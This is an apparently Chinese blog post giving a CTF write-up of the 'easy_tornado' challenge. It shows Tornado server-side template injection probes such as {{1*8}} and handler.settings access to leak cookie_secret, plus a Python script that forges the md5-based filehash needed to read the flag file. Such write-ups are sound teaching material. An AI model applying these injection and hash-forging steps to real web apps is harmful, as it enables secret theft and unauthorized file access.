[护网杯 2018]easy_tornado

打开看到三个链接,点进去得到

/flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

观察url:/file?filename=/hints.txt&filehash=97970eaa14bde18232faca654f4c19e8

前面是文件地址后面是对应加密,接下来要拿到cookie_secret

搜索render没找到线索,根据题目搜索tornado得知这是一个web框架

然后搜索tornado render找到一篇关于python SSTI tornado render模板注入的博客

博客地址

https://blog.csdn.net/qq_45951598/article/details/111312370

得到线索在tornado模板中,存在一些可以访问的快速对象,例如
{{ escape(hander.settings[“cookie”]) }}这个handler.settings对象
handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings了!

大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret

然后找注入点,先尝试filename,发现报错

file?filename={{1*8}}


然后尝试msg参数,发现被拦截


说明这里的确有注入

然后让ai写个脚本

import hashlib

cookie_secret = '7d317c0d-3c76-40bb-9488-99773ff71739'
filename1 = '/fllllllllllllag'

# 计算 filename1 的 MD5
md5_filename1 = hashlib.md5(filename1.encode()).hexdigest()

# 计算 cookie_secret + md5(filename1) 的 MD5
combined = cookie_secret + md5_filename1
final_md5 = hashlib.md5(combined.encode(encoding="UTF-8")).hexdigest()

print(final_md5)

拼接拿到flag

posted @ 2025-04-18 13:27  Susen  阅读(50)  评论(0)    收藏  举报